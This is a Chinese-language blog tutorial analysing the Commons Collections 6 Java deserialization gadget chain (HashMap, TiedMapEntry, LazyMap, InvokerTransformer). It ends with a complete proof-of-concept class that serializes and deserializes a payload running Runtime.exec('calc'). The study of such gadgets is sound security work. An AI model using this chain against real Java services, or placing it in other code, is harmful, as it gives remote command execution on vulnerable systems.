zoukankan      html  css  js  c++  java
  • CommonsCollections6分析

    CommonsCollections6

    LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject 中有没有setValue没任何关系在java8u71以后sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了

    解决java高版本利用问题,实际上就是在上下文中是否还有其他调用LazyMap#get()的地方

    org.apache.commons.collections.keyvalue.TiedMapEntry 在getValue方法中调用了this.map.get

    直接分析那块调用了LazyMap类中的get() CC6中给出了这个类 TiedMapEntry中的HashCode我们直接进入TiedMapEntry进行分析

    调用链

    ```java
    ObjectInputStream.readObject()
        |
    HashMap.ReadObject()
        |
    HashMap.put()
        |    
    HashMap.putval()
        |    
    HashMap.hash()
        |    
    HashMap.hashCode()
        |
    TiedMapEntry.hashCode()
        |
    LazyMap.get()
        |
    ChainedTransformer.transform()
        |
    InvokeTransformer.transform()
    ```

    ysoserial版本调用链

    /*
        Gadget chain:
            java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.put()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
    
        by @matthias_kaiser
    */

    一些类的分析

    TiedMapEntry类分析

    TiedMapEntry接收一个map类的值 一个key

     TiedMapEntry中的hashCode调用了getValue()

     跟到getvalue()中 可以看到这里有个map.get 我们只需要将map值传LazyMap即可触发LazyMap.get()

     通过这里我们就直接可以构造

    前面部分和CC1 LazyMap版本一样 让LazyMap.get触发命令执行

    Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    HashMap<Object,Object> map=new HashMap<Object, Object>();
    //置空 防止序列化时调用
    Map<Object,Object> lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));

    和cc1的区别是我们接下来不是用AnnotationInvocationHandler#readObject去触发 而是使用TiedMapEntry 类去触发

    TiedMapEntry tiedMapEntry=newTiedMapEntry(lazyMap,"aaaa");

    这里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将aaaa给移除,这是因为在执行的时候如果没使用lazyMap.remove将aaaa给移除掉将不会进入到该判断语句里面去

    HashMap<Object,Object> map2=new HashMap<Object, Object>();
    map2.put(tiedMapEntry,"bbb");
    lazyMap.remove("aaaa");

    这里 如果传入的key不等于false就不会执行transform就无法执行命令 所以需要remove将aaaa移除掉

    之后剩下的部分和cc1 TransformedMap版本中一样 使HashMap put触发hashcode()

    最终poc

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class cc6{
        public static void main(String[] args) throws Exception {
    
            Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
    
            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    
            HashMap<Object,Object> map=new HashMap<Object, Object>();
    
    //       置空 防止序列化时调用
            Map<Object,Object> lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));
    
    
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaaa");
    
            HashMap<Object,Object> map2=new HashMap<Object, Object>();
            map2.put(tiedMapEntry,"bbb");
            lazyMap.remove("aaaa");
    
            //通过反射修改值
            Class c =LazyMap.class;
            Field factoryField=c.getDeclaredField("factory");
            System.out.println(factoryField);
            factoryField.setAccessible(true);
            factoryField.set(lazyMap,chainedTransformer);
    
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(map2);
            oos.close();
    
            ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o=ois.readObject();
            System.out.println(o);
    
    
    
    
        }
    }

    参考学习

    P神java代码审计

  • 相关阅读:
    HTML标签语义化对照表
    C#自定义分页控件3.0
    并发小工具
    C#方法
    我所知道的一个简单类
    等快递无聊旋转字符串
    委托
    撒列实现关键字过滤,速度可快了
    垃圾回收代
    递归再一次让哥震惊了
  • 原文地址:https://www.cnblogs.com/xhds/p/15758104.html
Copyright © 2011-2022 走看看